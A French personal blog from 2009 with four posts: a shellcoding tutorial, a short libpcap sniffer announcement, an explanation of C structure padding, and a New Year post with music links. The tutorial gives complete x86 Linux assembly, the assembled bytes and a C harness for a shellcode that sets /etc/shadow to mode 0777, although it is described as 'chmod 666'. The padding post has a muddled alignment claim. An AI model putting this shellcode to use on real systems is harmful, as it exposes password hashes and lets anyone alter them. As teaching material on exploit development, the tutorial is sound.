mardi 24 mars 2009

ShellCoding For Dummies

Aujourd'hui un petit cours de shellcoding (sous Linux).
Alors on va réaliser un petit shellcode qui effectue un "chmod 666 /etc/shadow".
Nous allons pour cela procéder par étapes:

1] Repérer le(s) appel(s) Système à utiliser.


Pour ca on va lire le fichier /usr/include/asm/unistd.h (ou regarder ici : unistd.h)

Voyons donc ce que nous renvoye un "cat /usr/include/asm/unistd.h |grep chmod":


sm0k3@localhost ~/Trash $ cat /usr/include/asm/unistd.h |grep chmod
#define __NR_chmod 15
#define __NR_fchmod 94
#define __NR_fchmodat 306



EDIT: Je vous conseille d'utiliser http://syscalls.kernelgrok.com/ au lieu de unistd.h, beaucoup plus pratique, vous en conviendrez!

On voit donc que l'identifiant de chmod est 15, notons bien ce chiffre.

2] Programmer notre Shellcode

xor %eax,%eax ; On met 0 dans eax
push %eax ; On dépose ce 0 sur la pile
mov $0xf,%al ; On met 0xf (15 quoi) dans al (partie basse de ax, lui meme partie basse de eax)
push $0x776f6461 ; On dépose "/etc/shadow" sur la pile
push $0x68732f63 ; Le 0 posé précedemment sert à terminer cette chaine
push $0x74652f2f ; (souvenez vous de \0 en C)
mov %esp,%ebx ; On stocke l'adresse de la chaine que l'on vient de poser sur la pile dans ebx
xor %ecx,%ecx ; On met 0 dans ecx
mov $0x1ff,%cx ; On met 0x1ff (777 en base octale) dans cx (partie basse de ecx)
int $0x80 ; On apelle l'interruption [donc chmod("/etc/shadow",777)] Note: 666 aurait suffit mais bon
inc %eax ; Comme chmod met 0 dans eax lorsqu'il réussi, on incrémente eax de 1 pour utiliser l'interruption exit
int $0x80 ; On apelle l'interruption


3] Assembler & Linker tout ca

$ as -o shellcode.o shellcode.asm
$ ld -o shellcode shellcode.o


4] Notre Shellcode




On voit bien notre shellcode sur la partie gauche de l'image, pret a etre recopié :)

#include "stdio.h"

int main(int argc, char *argv[])
{

char shellcode[] ="\x31\xc0\x50\xb0\x0f\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x40\xcd\x80";

printf("Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();

return 0;
}





Et voila :) have fun!

vendredi 20 mars 2009

A {Very} Basic Sniffer

Hello, bon c'est vrai que ça fait longtemps que j'ai pas posté :p j'avoue que je travaille peu ces temps ci! Ci joint la source (un peu) commentée d'un sniffer Unix basique utilisant les librairies LibPcap et LibNet. Le dossier compressé comprend un projet Code::Blocks, n'oubliez pas d'ajouter -lpcap et -lnet dans les options de link si ce n'est pas déja fait. La suite suivra sous peu (ajout du support des filtres...). Cette version est vraiment un premier jet, c'est juste un exemple d'utilisation de la libPcap en somme.

Mod_Sniffer

:]

lundi 19 janvier 2009

Data Structure Alignment

Spéciale pour Geo celle la :p.

Observons la source suivante:

  1. #include <stdio.h>

  2. #include <stdlib.h>

  3.  

  4. int main()

  5. {

  6.  

  7.     typedef struct {

  8.     short foo1; // 2 octets

  9.     int foo2; // 4 octets

  10.     } MaStructure;

  11.  

  12.     printf("VISUAL STUDIO 2005/2008\n");

  13.     printf("INT    SIZE :%i\n",sizeof(int));

  14.     printf("SHORT  SIZE :%i\n",sizeof(short));

  15.     printf("STRUCT SIZE :%i\n",sizeof(MaStructure));

  16.     system("pause");

  17.     return 0;

  18. }



Et voici la sortie obtenue ( Microsoft Visual C++ 2005 77915-009-0000007-41714 )




SOO? WTF? ben après quelques recherches :


Although the compiler (or interpreter) normally allocates individual data items on aligned boundaries, data structures often have members with different alignment requirements. To maintain proper alignment the translator normally inserts additional unnamed data members so that each member is properly aligned. In addition the data structure as a whole may be padded with a final unnamed member. This allows each member of an array of structures to be properly aligned.

Padding is only inserted when a structure member is followed by a member with a larger alignment requirement or at the end of the structure. By changing the ordering of members in a structure, it is possible to change the amount of padding required to maintain alignment. For example, if members are sorted by ascending or descending alignment requirements a minimal amount of padding is required. The minimal amount of padding required is always less than the largest alignment in the structure. Computing the maximum amount of padding required is more complicated, but is always less than the sum of the alignment requirements for all members minus twice the sum of the alignment requirements for the least aligned half of the structure members.

[...]

If the type "short" is stored in two bytes of memory then each member of the data structure depicted above would be 2-byte aligned. Data1 would be at offset 0, Data2 at offset 2 and Data3 at offset 4. The size of this structure would be 6 bytes.

The type of each member of the structure usually has a default alignment, meaning that it will, unless otherwise requested by the programmer, be aligned on a pre-determined boundary. The following typical alignments are valid for compilers from Microsoft, Borland, and GNU when compiling for x86:

* A char (one byte) will be 1-byte aligned.
* A short (two bytes) will be 2-byte aligned.
* An int (four bytes) will be 4-byte aligned.
* A float (four bytes) will be 4-byte aligned.
* A double (eight bytes) will be 8-byte aligned on Windows and 4-byte aligned on Linux.

Source: Wikipedia

Le mystère n'est donc plus, mais pourquoi ce padding??

Le compilateur aligne les structures en mémoire par rapport a l'architecture de la machine ( elles seront alignées sur 8 bits pour une architecture 32 bits) car l'adressage des variables se fait sur 32 bits et donc 4 octets. Les structures doivent donc toujours avoir une taille totalle qui soit un multiple de l'architecture (beurk c'est crade comme phrase). Cela est fait par le compilateur par soucis de performance.

On peut modifier la façon dont sera géré le Padding:

#pragma PACK()

Cependant, il est important de rester très prudent avec cette directive, car sa mauvaise utilisation peut entrainer une exception du type "Alignment Fault" et donc générer des cycles processeurs additionnels.

Connaitre la façon dont un compilateur gère le padding peut parfois être pratique, par exemple lors de l'exploitation de vulnérabilités du type débordement de tampons, cela nous permettra d'être moins approximatif.

mercredi 7 janvier 2009

2k9 - Reb0rn

Tout d'abord ben bonne année a tous ceux qui me lisent même si vous n'êtes sûrement pas tant que ça :p

Enfin bref, je vous souhaite plein de bonnes choses, et de respecter vos bonnes résolutions, personnellement je n'en ai pas pris (même pas celle de poster + ).

Sachez quand même que je prépare quelques trucs dans mon coin que je présenterais ici dès que je pourrais.

Un peu de son quand même en ces temps de disette et de misère:


Technossomy - Pyramid


This Is GOA - A Never Ending Energy-2 (TranceGalaxy's Version)


Travma - 2019

EDIT: Merci Sh4ka pour le dernier titre :)